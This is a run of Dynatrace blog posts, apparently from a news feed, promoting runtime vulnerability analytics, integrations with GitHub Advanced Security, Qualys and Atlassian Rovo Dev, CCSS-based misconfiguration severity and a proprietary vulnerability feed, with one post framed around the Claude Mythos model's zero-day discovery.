What is Claude Mythos, and why does it matter for security?

Claude Mythos is a frontier AI model designed to autonomously discover and chain zero-day vulnerabilities across major operating systems and browsers. Mythos threatens to collapse the window between vulnerability discovery and weaponization from weeks to hours — a shift widely expected to be permanent. Advances in AI have lowered the skill barrier for autonomously discovering and exploiting software vulnerabilities at a scale and speed beyond human capability. This means that the volume and sophistication of CVEs entering the ecosystem are set to increase sharply.

Even though Claude Mythos Preview is not yet accessible to the general public, it has already found thousands of zero-days across every major OS and browser. As AI-driven discovery increases the volume of CVEs, organizations that rely solely on static scanning or pipeline tools will be overwhelmed by findings they cannot meaningfully prioritize. Organizations must prepare for a new reality once Mythos, or tools like it, are more widely available.

For SRE, DevOps, security teams, and AI builders, the question is no longer if your environment contains vulnerabilities — it’s whether you can tell which ones are actually exploitable before an adversary does.

Why traditional vulnerability scanners can’t keep up with AI-driven threats

Traditional security tools — code scanners, static analysis, pipeline checks — can’t see what’s running in production. They generate thousands of results that accurately identify vulnerabilities but fail to evaluate which are exploitable or represent the most risk, leading to alert fatigue and slow risk mitigation, while potentially leaving the biggest risks exposed or undetected.

But there’s a deeper problem: vulnerability exposure is not static. Servers are reconfigured. New application code is pushed to production multiple times a day. Containers spin up and down. Dependencies change with every deployment. A vulnerability that was unexploitable this morning may become reachable by afternoon — and vice versa. Point-in-time scanning tools produce a snapshot that begins aging the moment it’s generated. In a world where Mythos-class models accelerate CVE discovery by orders of magnitude, tools that generate thousands of uncontextualized, static findings are a liability.

A periodic report tells you what was true hours ago. Organizations need continuous, runtime-aware scanning that keeps pace with your environment as it evolves.

Why do AI‑driven threats make runtime vulnerability detection essential?

This is where the runtime security approach fundamentally changes the equation. Rather than cataloging everything that could be risky, runtime security anchors every vulnerability finding in live production context: What is running, what is reachable, and what has real business impact.

Here’s how Dynatrace implements runtime vulnerability detection with built-in risk assessments for the Mythos era:

1. Filter vulnerabilities to only running components. Dynatrace OneAgent, embedded directly in the runtime environment, continuously monitors which libraries and components are actively loaded and executing. If a dependency exists in your repository but is never invoked in production, it’s automatically deprioritized. Only vulnerabilities in running code are surfaced, which is why customers report seeing significantly fewer vulnerabilities compared to earlier-in-pipeline scanning tools.
2. Deprecate unreachable (non-exploitable) vulnerabilities. A running library isn’t necessarily an exploitable one. Dynatrace performs deep code-level reachability analysis, tracing actual execution paths and real traffic patterns to determine whether the specific vulnerable function can be reached. If no active call chain invokes it, the finding is deprioritized, enabling teams to focus on vulnerabilities that represent higher risk of exploitation.
3. Prioritize based on real-time business impact. For confirmed, reachable vulnerabilities, the question becomes: what’s at stake? This is where  Dynatrace’s real-time topology and dependency graph — Smartscape^® — becomes essential. Smartscape automatically discovers every process, service, host, and application across your environment and maps how they depend on one another. Think of it as a living dependency graph of your production landscape, continuously updated with every deployment and infrastructure change, making sure the impact-radius analysis is current and not based on a stale inventory.

Smartscape instantly maps which business services are affected, which are internet-exposed, and which connect to revenue-critical workflows, enabling teams to triage on actual business criticality rather than raw CVSS scores alone.

As Mythos-era CVE volumes surge, your teams will receive a focused, continuously updated list of exploitable, business-critical risks.

The Dynatrace platform advantage for AI-driven security

In addition to Smartscape, Dynatrace is underpinned by additional core technical differentiators that make it uniquely positioned for the Mythos era:

• Grail — A unified data lakehouse that stores and correlates all observability and security data at scale without index limitations, giving RVA the foundation to analyze runtime context across the entire environment.
• Dynatrace Intelligence — The AI layer powering automated causal analysis, workflow execution, and remediation routing. As CVE volumes scale, human-speed triage becomes unsustainable, making automated, context-aware prioritization and remediation routing — enabled through third-party integrations — the only viable path forward.
• Dynatrace Vulnerability Feed — A patented, proprietary vulnerability feed that goes beyond standard public CVE databases. The feed rapidly ingests vulnerabilities disclosed through channels such as GitHub Security Advisories and OSV.dev — assessing them against your production runtime. Coverage specifically includes AI frameworks and open-source components relevant to agentic workloads: the fastest-growing attack surface.

Why open source vulnerabilities will surge in the Mythos era

This last point is particularly relevant in the Mythos era. Open source software is where AI-powered discovery tools will generate findings fastest — open source codebases are fully scannable with no license barriers, and GitHub Security Advisories and OSV.dev are precisely where the Dynatrace feed is deepest. When a Mythos-era OSS vulnerability is disclosed, it flows into the feed within hours and is assessed against your production runtime immediately.

As CVE volumes surge, Dynatrace customers will receive a focused, continuously updated list of exploitable, business-critical risks that reflects what’s true in production right now, not what was true at the last scan.

Why security teams should act now

Up until 2025, AI was largely seen in security circles as a risk factor: a source of new vulnerabilities. People with little to no programming experience were suddenly able to publish AI-generated applications at scale, many of which contained fundamental security flaws.

By late 2025, however, AI models had advanced to the point where they could not only introduce vulnerabilities, but actively discover them. Their ability to identify active, exploitable weaknesses in code has been improving rapidly ever since.

Claude Mythos represents a step-change in this evolution. It goes beyond discovering isolated issues to chain vulnerabilities, identifying multiple low-impact flaws that, on their own, may not pose significant risk, but when combined into a sequence of three, four, or more, can be weaponized into highly sophisticated attacks.

Now, before Mythos is publicly available, is the time to prepare. It is critical for organizations to leverage platforms that find critical vulnerabilities that other tools have missed. In a large volume of noise, teams will need to focus on real production risk exposure; not an endless list of unworkable attacks.

By combining runtime observability with security intelligence, Dynatrace cuts through noise and allows faster, more confident remediation through Dynatrace Intelligence and AI-powered agentic workflows.

The Mythos era doesn’t have to mean more chaos. It can be the catalyst for better prioritization through meaningful signals, pressures for faster action, and stronger security posture.

The post How Anthropic Claude Mythos is reshaping the vulnerability landscape appeared first on Dynatrace news.

Existing GitHub Advanced Security integrations

GitHub Advanced Security is a suite of security products that help you enhance the security of your code hosted in GitHub repositories. This includes products such as Dependabot, Code Security, and Secret Protection.

Dynatrace already integrates with GitHub Advanced Security to ingest security alerts and audit logs, which allows you to ingest, visualize, prioritize, and automate security alerts, helping to reduce noise and provide focused remediation to the issues that matter to your critical production environments. Having this available in Dynatrace breaks down the silos between DevSecOps teams, unifying security findings along the Software Development Lifecycle (SDLC) and enriching them with runtime context.

Why send runtime context to GitHub?

As covered in earlier blogs, platform-native Dynatrace® Apps and Workflows help you visualize and analyze GitHub Advanced Security findings as well as automate your responses. However, your developers and Application Security (AppSec) managers might still want the ability to manage these alerts in GitHub alongside their code and take advantage of features such as security campaigns, which allows them to fix security alerts at scale and better manage and reduce your security backlog.

The new runtime context feature in our GitHub Advanced Security integration allows you not only to report whether a specific artifact is deployed, but also to share the valuable Runtime Vulnerability Analytics (RVA) advanced assessments, such as public internet exposure and reachable data assets identified by Dynatrace. This additional context helps GitHub users to filter the security alerts and focus on remediation with runtime-aware prioritization criteria.

How the Dynatrace GitHub Advanced Security integration works

Dynatrace discovers and continuously monitors your running Kubernetes workloads. It maps running containers to your GitHub repositories and sends the runtime context (including public internet exposure and reachable data assets) to GitHub as deployment records linked to the artifacts.

Step 1: Discover workloads

The Dynatrace GitHub Advanced Security integration first discovers running container images that are monitored by Dynatrace using Dynatrace Query Language (DQL) queries against the Dynatrace Grail® data lakehouse. This enumerates all the unique images in your runtime environment. You can also use namespace filters to limit the scope of this discovery process.

Step 2: Match discovered images to GitHub repositories

Based on user access permissions to GitHub repositories, the integration will determine which container images from the runtime are associated with each repository.

Images can be mapped to GitHub repositories in one of two ways:

• Artifact attestations (recommended): If a step for attestation is included in your build workflows, it will link your built and deployed images to their respective repositories. Attestation also provides provenance and integrity guarantees for your built images. This is the ideal matching mechanism and works for images hosted in any
• Image naming schemes: In case you don’t have an attestation created, and you’re hosting your images in the GitHub Container Registry (io), Dynatrace will attempt to discover the appropriate repository by parsing the image name for a match with the visible and accessible repositories of the configured user.

Step 3: Send runtime context to GitHub

Once Dynatrace has a set of container images mapped to GitHub repositories, it sends this information, along with the runtime context, to GitHub as deployment records. This includes any appropriate “internet-exposed” and “sensitive-data” runtime risks that have been detected through RVA.

Step 4: Utilize context information in GitHub security campaigns and filters

Use this additional context when prioritizing Dependabot and code scanning alerts at the organization level and when creating security campaigns. You can create campaigns by filtering to see whether a given alert affects a repository with a reported deployment. Campaigns can be further prioritized by filtering for alerts where internet exposure or sensitive data access has been reported (for example, when an image interacts with a database).

The following quick demo video shows how Dynatrace shares the runtime context of a running container with GitHub, using the integration. In addition to the basic deployment information, Dynatrace sends the advanced assessments from Dynatrace Runtime Vulnerability Analytics capability, which allows then to fine tune the filtering on the GitHub side for security findings that have internet exposure or access to sensitive data assets.

What´s next

Discover the power of Dynatrace bi-directional integration with GitHub Advanced Security products to deliver ultimate code-to-runtime visibility across teams, from development to operations and DevSecOps.

Learn more from our previous blogs:

• Ingest and enrich GitHub Advanced Security vulnerability findings
• Hands-free vulnerability remediation with Dynatrace and GitHub

For full details of the prerequisites and steps for setting up the GHAS integration, please go to Ingest GitHub Advanced Security security events and audit logs in Dynatrace Documentation.

The post Prioritize GitHub Advanced Security alerts with runtime context from Dynatrace appeared first on Dynatrace news.

Misconfigured components in production remain one of the most common—and most preventable—sources of security risk. To help you better understand and prioritize your organization’s misconfiguration issues, Dynatrace Security Posture Management (SPM) introduced severity classification labels for all misconfiguration findings based on the Common Configuration Scoring System (CCSS). CCSS provides a standardized, vendor-agnostic way of assessing configuration weaknesses that allows for clear, consistent scoring across diverse environments.

By aligning our findings with CCSS, teams can now compare misconfigurations across different frameworks, benchmarks, and technology stacks using a unified metric. This not only improves prioritization and triage but also strengthens communication between security, operations, and compliance teams. Whether you’re evaluating a Center for Internet Security (CIS) benchmark, the Digital Operational Resilience Act (DORA) framework, or Defense Information Systems Agency Security Technical Implementation Guides (DISA-STIGs), severity is now measured on the same transparent and repeatable scale—making it easier than ever to focus on what matters most.

How Dynatrace determines misconfiguration severity levels

By leveraging CCSS, Dynatrace researchers and domain experts evaluate the severity of configuration weaknesses by scoring them using metrics that capture the intrinsic characteristics of each misconfiguration—such as how easy it is to exploit and its potential impact. These metrics are combined into a numerical score that maps to a severity level (low, medium, high, or critical), providing a consistent and repeatable way of measuring configuration risk.

Specifically, these metrics can be summarized along three focus areas:

• Likelihood (L): Measures how easily a misconfiguration can be exploited. It considers factors such as required access level, required system knowledge, authentication requirements, and whether exploitation is automated or manual.
• Technical Impact (TI): Assesses the degree to which a misconfiguration affects confidentiality, integrity, and availability if exploited.
• Configuration Impact (CI): Captures risk related to the misconfiguration itself—how significantly it weakens expected security controls or baselines.

How it works

Our security research team recently evaluated the Ensure that the –authorization-mode argument is not set to AlwaysAllow rule from the CIS Kubernetes benchmark. This check describes a configuration in which the Kubernetes API server allows all requests—this rule should not be used in any production environment.

Our internal researchers and Kubernetes experts assessed this rule as follows:

This assessment results in a severity classification of Critical, which is appropriate, as the CIS benchmark states that this configuration should not be used in a production Kubernetes cluster.

The severity of each misconfigured rule is tracked in the Dynatrace Security Posture Management app, where each rule’s severity label is assigned by a domain expert, ensuring the highest assessment quality.

Impact on the current rule severities in Security Posture Management

The new rule-severity level assessments in the Security Posture Management app will replace the current labels, which are based on different factors and vendor classification. While the current severity labels aren’t wrong, depending on the rule-benchmark vendor, they sometimes focus on different areas. For example, rules might be classified by how difficult they are to implement in a given configuration in a specific environment.

By adopting the Common Configuration Scoring System for all misconfiguration findings in Dynatrace SPM, we’re taking a major step toward delivering clearer, more transparent, and more actionable security insights. This standardized, expert-driven severity model ensures that every rule—across every benchmark—is evaluated with the same rigor and security-focused methodology. As a result, teams can make better-informed decisions, prioritize risk more effectively, and maintain a consistent understanding of configuration health across their entire environment. While some individual rule severities will change with the transition, the outcome is a stronger, more reliable foundation for managing configuration risk at scale.

What you need to do

With the new CCSS-based classifications, we ensure that each benchmark in SPM receives a unified, security-focused rule classification. The current severity label of a rule might change when the CCSS-based classification is deployed with Dynatrace version 1.334. If you’re on Dynatrace SaaS, this change will happen automatically when version 1.334 is rolled out in March 2026. If you’re on Dynatrace Managed, an update to Dynatrace Managed version 1.334 (or later) is required.

The post Strengthen your security posture with the Common Configuration Scoring System for misconfigured production environments appeared first on Dynatrace news.

What is Qualys host scanning?

Qualys is a leading provider of vulnerability management solutions. Qualys Enterprise TruRisk platform offers a range of products, including Vulnerability Management, Detection, & Response (VMDR), which helps detect and prioritize vulnerabilities for remediation on hosts.

Host monitoring has been a best practice in security hygiene for decades and is required by various compliance standards. If your organization is already applying all the best practices for host scanning, you may still be wondering how to improve the prioritization of detected vulnerabilities.

Challenges in managing host vulnerabilities

Imagine you periodically run scans of hosts in your environments: production hosts, development hosts, etc. Each scan discovers hundreds or even thousands of vulnerabilities. Your goal is to minimize the risk by fixing the most critical vulnerabilities first.

Even with a simple strategy like this, your DevSecOps teams might still struggle to handle all the vulnerabilities. Your MTTR (Mean Time to Remediation) is increasing, and your management is not happy about it.

In addition, while focusing on critical vulnerabilities, are you sure you’re prioritizing the top risk for your organization? That approach is a good start; however, some top-risk vulnerabilities might not be critical in severity; they’re the ones that directly impact your critical production applications and services. Even if it is a high-severity vulnerability, you may want to address it before a critical vulnerability because it affects your production environment.

What can you do? Is there a way to further improve vulnerability prioritization?

The answer is yes; you need to consider additional runtime context and focus on production risk in addition to severity.

You may want to have a robust deduplication mechanism in place and visibility into the top risks. And you might also benefit from tracking the fixes and posture drifts, increasing security coverage, and reducing the number of risks over time.

Dynatrace as a runtime security platform

The Dynatrace platform offers native Runtime Vulnerability Analytics that detect vulnerabilities in your running applications and services, helping keep your application’s security risk low. This complements the host scanning and provides a complete picture of the security risks.

As an observability platform, Dynatrace also monitors the infrastructure on which your apps and services run. Hosts are one such infrastructure entity. Dynatrace knows whether a host is connected to the internet, how much traffic flows through it, whether production applications are running on that host, and how those applications are connected to other hosts and services in your organization.

With Dynatrace OpenPipeline® as the data ingest engine and Grail® as the unified data lakehouse, it is possible to ingest security findings from third-party products to bring security context to operational personas.

DevSecOps teams can simultaneously benefit from ingested and contextualized security findings using Dynatrace as a security platform, gaining ultimate visibility into all risks in one place, prioritizing based on production risks, and improving their security posture.

Qualys integration in work

Dynatrace integrates with Qualys to connect host vulnerability findings with runtime application context, allowing smarter vulnerability prioritization and better visibility into your security risks from the perspective of your runtime environment.

Here is how this integration works, and how it allows you to achieve your goals in several simple steps:

Step 1: Ingest and unify

Dynatrace delivers this integration as an extension that allows granular control over the data flow between Qualys and the Dynatrace platform.

Leveraging OpenPipeline, Qualys vulnerability findings and activity logs are pushed to Dynatrace and stored in Grail, where they’re mapped to semantic conventions that make them available in a unified schema for further analysis.

Step 2: Deduplicate and visualize

As soon as Qualys vulnerability findings are in Grail, you can view them in the Vulnerabilities app as individual findings or, using deduplication logic, as a focused list of unique findings. In this way, hundreds of findings reported repeatedly by each executed scan are deduplicated and become tens of vulnerabilities instead.

Here’s what it might look like before deduplication:

And here is what it looks like after applying the deduplication filter:

The Qualys integration also includes several ready-made dashboards that help you deduplicate and display vulnerability findings in a summarized view.

Step 3: Enrich and prioritize

The next step is to use the Dynatrace runtime context to further prioritize the vulnerabilities.

In this sample dashboard, which is also shipped with the integration, we first filter the ingested vulnerability findings for monitored hosts and then add the production application-level filter.

This filtering approach focuses on runtime impact and helps reduce the number of vulnerabilities to address.

Step 4: Communicate and remediate

With Dynatrace native automation capabilities represented in the Workflows app, you can operationalize the vulnerability findings by notifying relevant stakeholders and creating work tickets for remediation.

Step 5: Track improvement

Whether remediation is applied or new vulnerabilities are identified, you can easily monitor changes across scans to see which vulnerabilities are new, unresolved, or fixed.

Here is a dashboard we provide with the integration that helps achieve this goal:

Step 6: Increase security coverage

Finally, Dynatrace also helps you to understand whether you’ve covered all important hosts in your environment with vulnerability scans. This security observability is fueled by monitored host entities and Qualys ingested findings.

Here is a snippet from the security coverage dashboard shipped with the integration:

What’s next

The Dynatrace platform helps reduce noise from vulnerability scanning and provides runtime insights to efficiently prioritize remediation efforts.

Follow our updates and news about additional integrations and learn about which products from your security stack we already cover.

If you don’t find support for your product or tool, feel free to contact us in our Community channel.

Get started

To learn more about the Qualys integration and how to set it up, read our documentation for ingesting Qualys vulnerability findings, scanning events, and auditing logs.

The post Ingest, enrich, and deduplicate Qualys vulnerability findings with Dynatrace appeared first on Dynatrace news.

At Dynatrace, we believe you shouldn’t have to fix every vulnerability. Rather, we believe you should focus on the vulnerabilities that matter to your production environments. That’s why we’ve integrated Dynatrace with Atlassian Rovo Dev to streamline triaging and remediation of critical findings, focusing efforts where they count most.

The challenge of managing application vulnerabilities

Modern applications rely on hundreds of open source dependencies, each potentially introducing security vulnerabilities. Whether it’s a newly disclosed CVE or a long-standing issue in a transitive dependency, these vulnerabilities pose a significant security threat if exploited by malicious actors. Depending on the scale and composition of your applications, you could end up with hundreds of vulnerabilities that apparently need to be addressed.

Static analysis tools detect vulnerabilities in your dependencies and raise alerts. Many of these findings might not pose an immediate threat to production systems—for example, the vulnerable code path might never be executed, or the affected library might not even be loaded at runtime.

Is it possible to get additional validation of vulnerabilities with deeper context into your production services and applications? That would help you understand which vulnerabilities affect your crown jewels and prioritize their remediation over other issues. And is it possible to automate this process while keeping developers in their flow state, thereby reducing context switching and manual analysis of complex security advisories?

This is one of the current dilemmas for development and security teams: how to prioritize remediation without compromising developer velocity or wasting valuable resources on non-critical issues.

Context-aware remediation with Dynatrace and Rovo Dev

The Dynatrace® AI-powered observability platform monitors your applications and provides all the runtime insights required to help organizations navigate hundreds of vulnerabilities and prioritize them using runtime context. Dynatrace Runtime Vulnerability Analytics (RVA) validates whether vulnerable code is actually loaded and executed in production. The Model Context Protocol (MCP) server exposes this deep runtime context to automation and agentic AI-driven workflows.

Atlassian Rovo Dev is an AI-powered coding assistant that can live in your IDE or CLI, or in Jira and Bitbucket on the web. Rovo Dev serves as a developer’s assistant, understanding your codebase and applying fixes, creating pull requests, and managing Jira tickets—all through natural language conversation.

To further streamline and connect the dots, Dynatrace natively integrates with Jira for ticket management and Bitbucket for source control. This allows developers to fine-tune triage and enrichment to their particular needs, leveraging Dynatrace Workflows as the automation engine when needed.

In the following sections, we’ll look at a use case with two scenarios that demonstrate how detection, triage, and remediation of application vulnerabilities are made more efficient using Dynatrace and Atlassian’s latest advances in AI-assisted development.

Intelligent remediation in action

This use case starts with vulnerabilities detected by Dynatrace Runtime Vulnerability Analytics. In this first scenario, a developer retrieves critical vulnerabilities using Rovo Dev in their IDE and verifies them with Dynatrace using the Dynatrace MCP server, then proceeds to fix the vulnerability, create a pull request, and manage the Jira ticket—all without leaving their IDE.

In the second scenario, the initial validation is automated with Dynatrace Workflows, and a Jira ticket is created automatically. The developer then picks up the ticket directly in Rovo Dev and completes the remediation cycle.

By combining Dynatrace deep observability with Rovo Dev intelligent automation, teams can triage vulnerabilities based on actual runtime impact. Instead of treating every CVE as equally urgent, this solution helps prioritize those vulnerabilities that pose real risks to business-critical applications. This not only reduces alert fatigue but also ensures that remediation efforts are focused, efficient, and aligned with operational priorities.
This results in a streamlined, proactive security posture rather than a reactive one. Teams can move faster, reduce manual overhead, and maintain a higher level of confidence in their application security while keeping developers in their flow state.

Scenario 1: Rovo Dev-driven validation with Dynatrace MCP

In this scenario, a developer interacts with Rovo Dev to perform validation and remediation actions using Dynatrace MCP.

Detection

Dynatrace Runtime Vulnerability Analytics identifies vulnerabilities in production applications.

Verification

In this phase, the developer invokes Rovo Dev in their IDE and queries Dynatrace for critical vulnerabilities for the relevant service (for example, List critical vulnerabilities for the profile-service).

Rovo Dev utilizes the Dynatrace MCP server to retrieve runtime-validated vulnerability details, including affected services and remediation guidance.

Ticket management

In this phase, the developer uses the Rovo Dev conversational interface to create a Jira ticket for the confirmed vulnerability.

Rovo Dev then checks for existing tickets to avoid duplicates before creating a new ticket with full context from Dynatrace.

Remediation

With the Jira ticket as context, the developer instructs Rovo Dev to apply the fix, run tests, and create a pull request.
Rovo Dev analyzes the codebase, updates the affected dependency, and runs tests.

Rovo Dev then creates a Bitbucket pull request with the fix and links it to the Jira ticket.
The Jira ticket is updated with the PR link and transitioned to the In Review state.

Resolution

Ultimately, developers review and merge the pull request, and the vulnerability is resolved in production. After the application is updated, the user can verify in Dynatrace RVA (or via a Rovo Dev prompt) that the vulnerability has been resolved.

Scenario 2: Dynatrace-driven automated triaging and Rovo Dev remediation

In this scenario, initial validation and triage are automated in Dynatrace Workflows, and the developer then acts on the Jira tickets to perform assisted remediation using Rovo Dev.

Detection– Dynatrace Runtime Vulnerability Analytics identifies vulnerabilities in production applications.

Verification– A workflow verifies the vulnerabilities in production applications using the Dynatrace runtime context.

Ticket management – A Jira ticket is automatically created with a summary of the verification results, including CVE details, affected services, CVSS scores, and remediation guidance.

Remediation – A developer receives the Jira ticket notification and opens the affected repository in their IDE.
Rovo Dev loads the Jira ticket as context, providing full vulnerability details.
The developer instructs Rovo Dev to apply the fix, create a Bitbucket PR, and update the ticket—all in a single conversational flow.

Resolution – Ultimately, developers review and merge the pull request. The vulnerability is resolved, and the Jira ticket is closed.

Solution summary

This integration reduces context switching and alert fatigue by focusing developers on vulnerabilities that actually impact production, transforming a multi-tool, multi-hour process into a seamless conversational workflow.

What’s next

As AI capabilities evolve, the collaboration between Atlassian and Dynatrace will extend to additional use cases for agentic AI workflows and observability-context-supported issue remediation. Beyond vulnerability management, the integration supports:

Incident response: Query active problems from Dynatrace, get root cause analysis, and create incident tickets in Jira with full observability context.

Performance optimization: Retrieve slow transaction data and service dependencies to inform optimization efforts, all from the IDE.

Observability context for existing tickets: For any Jira ticket, query Dynatrace for related logs, traces, metrics, and entity relationships to accelerate troubleshooting.

Recommended blog posts and announcements

For more insights into Dynatrace automated workflows and vulnerability remediation, have a look at these articles:

• Troubleshooting Easytrade with Dynatrace MCP and Gemini CLI
• Write the future: Create your own agentic workflows
• From code to cloud: Dynatrace launches first GitHub custom agent, consolidating observability for developers

Get started

For details on how to set up this use case, please refer to Dynatrace documentation.

The post Smarter vulnerability remediation with Dynatrace and Atlassian Rovo Dev appeared first on Dynatrace news.

Trusted vulnerability data empowers teams to make faster and clearer security decisions. That’s why we’re elevating the Dynatrace Vulnerabilities app with the Dynatrace Vulnerability feed: a new, native source of vulnerability intelligence that’s more accurate, transparent, and threat-aware, helping maintain strong coverage of critical risks. With curated inputs, stronger sourcing, and deeper integration across the Dynatrace platform, teams can prioritize what matters most—and act with confidence.

A native vulnerability feed: Agile, precise, and focused on real customer risk

We recognize how quickly noise and alert fatigue can slow vulnerability management. When teams face a high volume of security findings, they require accurate, timely, and reliable threat intelligence to address potential breaches and optimize remediation time, resources, and costs. That’s why Dynatrace is upgrading the Vulnerabilities app to use the Dynatrace vulnerability feed—a new, internally curated source of vulnerability data that replaces the previously used external feed. It delivers more accurate, timely, transparent, and threat-aware vulnerability information, tightly integrated with innovations from Dynatrace security researchers, already recognized through a European patent.

The Dynatrace Vulnerability feed is built on multiple reputable sources, including OSV.dev, GitHub, the National Vulnerability Database (NVD), and vendor advisories, providing comprehensive coverage of vulnerabilities. These insights are further curated and enriched by Dynatrace’s own findings and internal security research.

Key benefits for customers

The new Dynatrace Vulnerability feed is included in the Vulnerabilities app at no additional cost and offers:

• Trustworthy, high-quality, curated vulnerability data

• Clearer and more consistent vulnerability descriptions and remediation guidance
• Strong coverage of critical and high-severity vulnerabilities
• Improved accuracy for certain findings compared to the previous feed
• Better long-term agility: Dynatrace owns and evolves the feed based on customer needs

• Deeper integration with the Dynatrace platform.

Coverage and parity with the previous vulnerability feed

The Dynatrace Vulnerability feed provides full parity with the previously used feed for critical and high-severity vulnerabilities in customer environments. For medium- and low-severity vulnerabilities, we ensure over 90% coverage in customer environments compared to the previous feed, while also adding extra vulnerabilities that were not previously included. Certain medium- and low-criticality vulnerabilities, as well as those without a CVE number that exist solely in the previous feed, will be marked as deprecated (Figure 1).

We recognize that coverage is a key topic for organizations when it comes to vulnerabilities. The Dynatrace Vulnerability feed is designed to be dynamic, keeping pace with the large volume of newly reported vulnerabilities. This agility ensures timely updates to meet customer-specific coverage needs, reducing blind spots and protecting against emerging threats. This flexibility is one of the key reasons we decided to introduce our own feed.

What changes for existing vulnerabilities?

From an access and viewing standpoint, nothing changes for existing vulnerabilities. You can continue accessing vulnerability insights from the existing Vulnerabilities app, ensuring a seamless experience with minimal disruption.

Existing vulnerabilities from our previous feed will retain their CVE numbers, but the IDs will be replaced with the Dynatrace Vulnerability IDs (Figure 2). Vulnerabilities from the previous feed without a CVE number will be automatically marked as resolved.

If your organization drives vulnerability remediation through an IT Service Management (ITSM) tool like ServiceNow, your existing tickets remain unchanged regarding CVEs and Dynatrace IDs. Tickets linked to vulnerabilities outside the Dynatrace Vulnerability feed will still function, but when accessed, the vulnerabilities might be deprecated, have updated severity, or have an adjusted score.

Availability for SaaS vs. Managed: What You Need to Do

The Dynatrace Vulnerability feed is available in all Dynatrace SaaS environments starting with version 1.334. If you’re on Dynatrace SaaS, this change will happen automatically when version 1.334 is rolled out in March 2026.

If you’re on Dynatrace Managed, an update to version 1.334 (or later) is required to use the Dynatrace Vulnerability feed. Be sure to update to version 1.334 or later before April 1, 2027; otherwise, you’ll no longer be able to analyze vulnerabilities.

Not a Dynatrace customer yet? Try the Dynatrace Vulnerabilities experience in our Playground and see how threat-aware, curated vulnerability intelligence helps you cut through noise and focus on real risk.

The post Introducing the Dynatrace Vulnerability feed: Accurate, transparent, and threat-aware appeared first on Dynatrace news.

Recognize the unavoidable need for runtime security

No security strategy can guarantee absolute protection. Modern software complexity and dynamic threats mean some risks will evade detection (Figure 1). According to Dynatrace analysis, a significant portion of Fortune 500 companies remain vulnerable to known vulnerabilities, such as Spring4Shell.

Left-shifted tools often lack runtime context, making it hard to prioritize vulnerabilities by real-world impact. Runtime security bridges this gap by continuously monitoring production environments, detecting and mitigating threats in real time. This approach helps organizations adapt to emerging risks instead of relying on pre-deployment checks.

Dynatrace addresses this challenge by adding runtime context to left-shifted security findings, enabling environment-aware vulnerability prioritization. Dynatrace Application Security integrates seamlessly with third-party tools to ingest and enrich vulnerability data with runtime context. This context-rich prioritization reduces cognitive overload for teams across the SDLC.

The value of defense-in-depth in SDLC

A defense-in-depth approach layers multiple security controls across the SDLC to build resilient applications that can withstand sophisticated attacks. Rather than relying on a single security measure, defense-in-depth supports the strategy that if one layer misses a vulnerability, another will catch it.

This approach gains added relevance as modern development practices accelerate release cycles, often introducing new risks at every stage. By embedding security from the earliest phases of development through to production monitoring, teams can proactively identify, mitigate, and respond to threats before they escalate. Figure 2 illustrates this multi-layered approach, mapping out key capabilities across four critical SDLC phases: Development, Build, Deploy, and Observe (encompassing the commonly referred-to phases of runtime and monitoring).

Each phase contributes unique controls and processes to a strong overall security posture. This layered approach is essential for protecting sensitive data, maintaining customer trust and meeting regulatory requirements in an increasingly hostile cyber environment.

To understand how this works in practice, let’s look at an example of a cloud-native microservices application.

End-to-end scenario: How the Astronomy Shop application leverages runtime context

Consider  Astronomy Shop, an online retailer demo application built on containerized microservices such as frontend, product, cart, checkout, payment, order, and search — all deployed on Kubernetes. Astronomy Shop’s teams implement defense-in-depth across the SDLC phases to secure their application.

By leveraging runtime context, they validate and prioritize risks in production, ensuring that the most critical security issues are addressed first. Below is a walkthrough of how Astronomy Shop uses tools and Dynatrace capabilities throughout the SDLC to enhance security.

Effective security starts at the foundation: during development. This phase sets the tone for the entire security lifecycle.

Development phase: Build security from the ground up

Scenario: Developers commit code for services like product, cart, and checkout. Security scanning runs early, and threat modeling identifies sensitive paths (e.g., checkout and payment). Findings are triaged later using the runtime context to prioritize risks.

Sample tools:

• SonarQube for code quality and static application security testing (SAST), GitHub Advanced Security for dependency monitoring and software composition analysis (SCA).

The Dynatrace role:

• Ingests security findings from development tools via OpenPipeline’s security events ingest endpoint.
• Maps findings to the Semantic Dictionary in Grail™ for unified prioritization, analysis, and automation.
• Highlights critical and high alerts and deprioritizes non-executed code vulnerabilities while prioritizing medium issues exposed to sensitive data. This helps developers focus on vulnerabilities that pose real risks in production.

After development, the build phase is positioned to catch vulnerabilities before deployment.

Build phase: Strengthening security through automation and testing

Scenario: Astronomy Shop teams build and push container images to AWS ECR. Automated image scanning tools like AWS Inspector and Snyk Container assess vulnerabilities. Findings are enriched with runtime context to identify which issues truly impact production.

Sample tools:

• AWS Inspector for image scanning and Snyk for container scanning.
• Recommended approach: Artifact/container image scanning for OS and package vulnerabilities.

The Dynatrace role:

• Extends observability to the build phase for governance and security hygiene control.
• Adds runtime context to container scans, so developers know which vulnerabilities to prioritize. This simplifies decision making and reduces cognitive load.
• Automates security gates and workflows with tools like Site Reliability Guardian to ensure no critical vulnerabilities affect production.

And now, we move on to deployment, the critical moment when applications face real-world threats.

Deploy phase: Safeguard production with real-time oversight

Scenario: The Astronomy Shop team deploys services to Kubernetes using Helm or GitOps. Admission policies and baseline checks run, while cloud controls enforce guardrails and flag misconfigurations.

Sample tools:

• Kyverno for workload and cluster policies, AWS Security Hub for cloud security posture management (CSPM).

The Dynatrace role:

• Monitors deployment success and audits deployment operations by ingesting SDLC events.
• Enriches KSPM and cloud misconfiguration findings with runtime context to prioritize critical issues.
• Detects and addresses configuration issues with Dynatrace KSPM, ensuring continuous monitoring in Kubernetes and cloud environments.

Once deployed, applications should be actively monitored to detect and address emerging threats and potential signs of compromise.

Observe phase: Monitor production for threats

Scenario: The Astronomy Shop application is deployed to production and actively monitored. A new vulnerability is discovered in a library, and Dynatrace detects and locates the issue in real time. Malicious actors attempt to exploit the vulnerability, but the application remains secure due to proactive patching.

Sample tools:

• Dynatrace Runtime Application Protection (RAP), Runtime Vulnerability Analytics (RVA), Microsoft Defender for Cloud, Amazon GuardDuty, Microsoft Sentinel.

The Dynatrace role:

• Unifies third-party runtime detections and security signals into a single view for efficient processing.
• Provides deep runtime observability through OneAgent, extending visibility to process health, cloud, and infrastructure.
• Enables runtime security capabilities like RVA (Runtime Vulnerability Analytics), Security Posture Management (SPM), and Runtime Application Protection (RAP), serving as the final defense layer against threats.

Figure 3 highlights how Dynatrace integrates seamlessly across the SDLC, enhancing security with runtime context and enabling teams to prioritize and address the vulnerabilities that matter most.

